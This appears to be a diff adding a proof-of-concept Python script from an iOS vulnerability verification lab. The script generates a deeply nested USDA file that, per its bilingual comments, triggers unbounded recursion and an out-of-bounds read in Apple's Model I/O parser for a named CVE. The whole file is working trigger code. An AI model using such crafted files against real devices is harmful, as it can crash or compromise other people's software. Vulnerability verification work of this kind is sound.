Cinder27 — iOS 17.0-27.1 vulnerability verification lab: 51 modules, 31 per-CVE POC folders, 11 no-CVE module folders, harness app source

CVE-2026-112485/CVE-2026-112485.py

@@ -0,0 +1,35 @@
+#!/usr/bin/env python3
+# mdl.usda · Model I/O · libusd_ms · CVE-2026-112485
+# 原语: OOB 读 · 进程内 | Primitive: OOB read · in-process
+#
+# [zh] USDA 声明嵌套深度
+# Model I/O 的修复载体为 libusd_ms 24.1.30 → 24.1.32：经 64 位检查的图像分配、Ptex log2 与页保护、USDA 声明嵌套上限、SdfZipFile
+# 尺寸检查。ModelIO.dylib 自身不含任何修复。
+#
+# [en] USDA declaration nesting depth
+# The fix carrier for Model I/O is libusd_ms 24.1.30 → 24.1.32: 64-bit checked image allocation,
+# Ptex log2 and page guards, a USDA declaration nesting cap, and SdfZipFile size checks. ModelIO.dylib
+# itself carries none of the fix.
+#
+# 种子生成 — verbatim from Cinder27/scripts/gen_seeds.py
+# 触发器（run 闭包）与非种子构建器: 同目录 CVE-2026-112485.swift
+# triggers (run closures) & non-seed builders: CVE-2026-112485.swift in this folder
+
+
+
+# --------------------------------------------------------------------------- USDA nesting
+def build_usda(depth=2000):
+    """libusd_ms 24.1.30 caps USDA declaration nesting in 24.1.32; 27.0 recurses unbounded."""
+    head = "#usda 1.0\n\n"
+    body = "".join('def Xform "n%d" {' % i for i in range(depth))
+    tail = "}" * depth
+    return (head + body + tail + "\n").encode()
+
+
+# --------------------------------------------------------------------------- CFF stack bomb
+
+if __name__ == "__main__":
+    import sys
+    out = sys.argv[1] if len(sys.argv) > 1 else "deep_nest.usda"
+    open(out, "wb").write(build_usda())
+    print("wrote", out)